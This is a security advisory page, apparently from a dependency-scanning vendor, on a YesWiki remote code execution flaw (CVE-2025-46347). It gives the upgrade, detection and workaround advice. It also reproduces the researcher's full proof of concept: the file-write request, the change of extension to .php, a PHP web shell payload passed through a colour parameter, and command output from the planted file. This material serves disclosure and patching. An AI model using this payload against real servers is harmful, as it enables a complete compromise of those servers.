How severe is GHSA-88xg-v53p-fpvf?

No CVSS score has been assigned to GHSA-88xg-v53p-fpvf yet. Review the advisory details and affected package list to assess your exposure.

Which packages are affected by GHSA-88xg-v53p-fpvf?

GHSA-88xg-v53p-fpvf affects the following packages: yeswiki/yeswiki (Packagist). Ecosystems affected: Packagist.

How do I fix GHSA-88xg-v53p-fpvf?

Update yeswiki/yeswiki to 4.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-88xg-v53p-fpvf is resolved across your whole dependency graph.

How do I detect GHSA-88xg-v53p-fpvf in my Packagist dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-88xg-v53p-fpvf if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-88xg-v53p-fpvf?

O3 pinpoints whether GHSA-88xg-v53p-fpvf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-88xg-v53p-fpvf actively exploited in the wild?

No public exploit code has been indexed for GHSA-88xg-v53p-fpvf yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-88xg-v53p-fpvf?

GHSA-88xg-v53p-fpvf has an EPSS (Exploit Prediction Scoring System) score of 0.8%, placing it in the 52th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-88xg-v53p-fpvf published, and has it been updated?

GHSA-88xg-v53p-fpvf was published on April 29, 2025 and was last updated on April 29, 2025. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐘 Packagist

GHSA-88xg-v53p-fpvf

YesWiki Remote Code Execution via Arbitrary PHP File Write and Execution

Also known asCVE-2025-46347

Published

Apr 29, 2025

Updated

Apr 29, 2025

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.8%probability of exploitation in next 30 days

Lower Risk52th percentile-3.15%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐘yeswiki/yeswiki

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server.

All testing was performed on a local docker setup running the latest version of the application.

PoC

Proof of Concept

Navigate to http://localhost:8085/?LookWiki which allows you to click Create a new Graphical configuration where you specify some parameters and then click Save.

LookWiki

After clicking save, this request is made (most headers removed for clarity):

POST /?api/templates/custom-presets/test.css HTTP/1.1
Host: localhost:8085

primary-color=%230c5d6a&secondary-color-1=%23d8604c&secondary-color-2=%23d78958&neutral-color=%234e5056&neutral-soft-color=%2357575c&neutral-light-color=%23f2f2f2&main-text-fontsize=17px&main-text-fontfamily=%22Nunito%22%2C+sans-serif&main-title-fontfamily='Nunito'%2C+sans-serif

This request writes the file test.css to disk with the contents (abbreviated)

:root {
  --primary-color: #0c5d6a;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

To exploit this, utilize a proxy tool to intercept the the first request and change the filename extension to .php and add arbitrary PHP code in for one of the request body parameters.

e.g. primary-color=%3C%3Fphp+system%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E

Now the file pizzapower.php is written to /var/www/html/custom/css-presets/pizzapower.php and it starts with this, where the PHP code is present.

:root {
  --primary-color: <?php system($_GET['cmd']); ?>;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

Then, simply visit the file with a cmd parameter included.

http://localhost:8085/custom/css-presets/pizzapower.php?cmd=id

And the HTTP response will contain the output of our command. Notably this request can be performed unauthenticated (the creation of the file requires auth, though).

:root {
  --primary-color: uid=501(yeswiki) gid=501 groups=501
;
  --secondary-color-1: #d8604c;
  --secondary-color-2: #d78958;
  --neutral-color: #4e5056;
  --neutral-soft-color: #57575c;
  --neutral-light-color: #f2f2f2;
  --main-text-fontsize: 17px;
  --main-text-fontfamily: "Nunito", sans-serif;
  --main-title-fontfamily: 'Nunito', sans-serif;
}

injection

Impact

Full compromise of the server. Can potentially be performed unwittingly by a user subjected to the previously reported (or future) XSS vulnerabilities.

Fixes

Amongst others:

Restrict file extensions: Only allow a safelist of extensions (e.g., .css) when saving files via this feature. Harden server config: Disable PHP execution in user-writable directories

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐘Packagist	`yeswiki/yeswiki`	all versions	4.5.4

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for yeswiki/yeswiki. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update yeswiki/yeswiki to 4.5.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-88xg-v53p-fpvf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-88xg-v53p-fpvf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-88xg-v53p-fpvf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary An arbitrary file write can be used to write a file with a PHP extension, which then can be browsed to in order to execute arbitrary code on the server. All testing was performed on a local docker setup running the latest version of the application. ### PoC Proof of Concept Navigate to `http://localhost:8085/?LookWiki` which allows you to click `Create a new Graphical configuration` where you specify some parameters and then click `Save`. ![LookWiki](https://github.com/user-attachments/assets/11c638ec-b700-483a-91fb-2d83107c2c69) After clicking save, this request is made (m

O3 Security · Impact-Aware SCA

Is GHSA-88xg-v53p-fpvf in your dependencies?

O3 detects GHSA-88xg-v53p-fpvf across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

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